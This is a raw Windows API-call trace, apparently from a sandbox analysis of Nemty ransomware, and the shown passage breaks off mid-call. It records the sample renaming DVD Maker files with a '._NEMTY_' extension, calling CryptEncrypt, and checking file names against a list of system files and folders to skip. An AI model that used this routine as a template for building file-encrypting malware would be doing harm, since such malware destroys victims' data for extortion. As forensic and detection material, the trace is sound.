[0085.443] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.452] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.452] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.462] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.462] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.471] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.471] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.480] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.480] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.480] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.480] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.489] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.489] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.489] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.489] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.499] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.499] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.499] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.499] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.508] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.508] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.508] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.508] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.517] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.517] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.518] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.518] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.523] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.523] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.523] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.523] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.529] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.529] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.529] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.530] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0085.530] CloseHandle (hObject=0xffffffff) returned 0 [0085.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0085.530] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0085.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0085.530] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0085.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0085.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0085.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0085.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0085.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0085.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0085.530] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0085.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0085.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0085.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0085.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0085.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0085.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0085.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0085.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0085.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0085.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0085.530] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffe1945, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffe1945, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0085.530] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".") returned 1 [0085.530] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="..") returned 1 [0085.530] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="...") returned 1 [0085.530] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="windows") returned -1 [0085.531] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0085.531] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="rsa") returned -1 [0085.531] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0085.531] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0085.531] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0085.531] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0085.531] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0085.531] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0085.531] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0085.531] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0085.531] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0085.531] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0085.531] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0085.531] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0085.531] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0085.531] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="programdata") returned -1 [0085.531] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="appdata") returned 1 [0085.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0085.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0085.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0085.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0085.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0085.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0085.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0085.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0085.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0085.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0085.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0085.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0085.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0085.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0085.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0085.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0085.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0085.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0085.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0085.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0085.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345640, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0085.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0085.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0085.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0085.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94358 [0085.532] Sleep (dwMilliseconds=0x5) [0085.533] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe6a0d7d0, dwHighDateTime=0x1d561e7)) [0085.533] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe6a0d7d0, dwHighDateTime=0x1d561e7)) [0085.533] GetLastError () returned 0x5 [0085.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0085.533] GetLastError () returned 0x5 [0085.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0085.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0085.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0085.533] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0085.533] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0085.533] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0085.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340110 [0085.533] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340110, pcchString=0x653e91c | out: pszString="fkqPStG3kLBT5eWLSK+Sp4AjVHmO4g99Ve+Q5toA2kabR8TLBUAgzZLuzKxm3xan\r\n9FsV2ZvAktn71Wq71CuXJi3Vy9SZ8FvDvKFvE7gl/JLjp6IXLmHpVa1FkK3BLvxE\r\n4JfE5LAHNba3eIFnmZNWxOqeigBtiK/fHaFsNPwd9jw2T8rIbh0AEAWWAErJ0hpu\r\ng9CtMNik7QL4MBmKULccODjXUZnyDmq8CbRg7Mk/UNq9oVoaCAtJm9oRGFclMgZy\r\nPFU+rH8Hj0jDhF69MKDcAK6F9ppt7f+tTjbA02RQqatjcT9fY4xRAR9Sg7L7W88A\r\ncjgP5w3YuaNsR7ifWTwLuw==\r\n", pcchString=0x653e91c) returned 1 [0085.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0085.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0085.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0085.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f94420 [0085.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340110 [0085.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0085.533] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0085.534] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0085.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0085.534] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.534] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.543] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.543] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.552] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.553] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.562] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.562] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.571] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.571] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.571] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.571] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, 